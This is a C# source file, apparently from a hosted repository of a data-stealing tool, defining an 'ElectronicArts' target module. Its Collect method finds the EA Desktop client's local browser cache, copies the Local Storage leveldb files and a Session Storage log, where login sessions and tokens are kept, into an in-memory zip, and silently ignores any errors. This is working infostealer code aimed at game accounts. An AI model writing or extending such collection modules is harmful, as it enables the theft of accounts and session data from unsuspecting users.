Files
Intellix/Intelix.Targets.Games/ElectronicArts.cs
T

61 lines
1.6 KiB
C#
Raw Normal View History

2026-08-27 10:55:23 -06:00
using System;
using System.IO;
using Intelix.Helper.Data;
namespace Intelix.Targets.Games;
public class ElectronicArts : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Electronic Arts", "EA Desktop", "CEF");
if (!Directory.Exists(text))
{
return;
}
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Electronic Arts";
int num = 0;
string path = Path.Combine(text, "BrowserCache", "EADesktop", "Local Storage", "leveldb");
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path);
foreach (string text2 in files)
{
try
{
if (string.Equals(Path.GetExtension(text2), ".ldb", StringComparison.OrdinalIgnoreCase))
{
string text3 = "Electronic Arts\\leveldb\\" + Path.GetFileName(text2);
zip.AddFile(text3, File.ReadAllBytes(text2));
counterApplications.Files.Add(text2 + " => " + text3);
num++;
}
}
catch
{
}
}
}
string text4 = Path.Combine(text, "BrowserCache", "EADesktop", "Session Storage", "000003.log");
if (File.Exists(text4))
{
try
{
string text5 = "Electronic Arts\\Session Storage\\000003.log";
zip.AddFile(text5, File.ReadAllBytes(text4));
counterApplications.Files.Add(text4 + " => " + text5);
num++;
}
catch
{
}
}
if (num != 0)
{
counterApplications.Files.Add("Electronic Arts\\");
counter.Games.Add(counterApplications);
}
}
}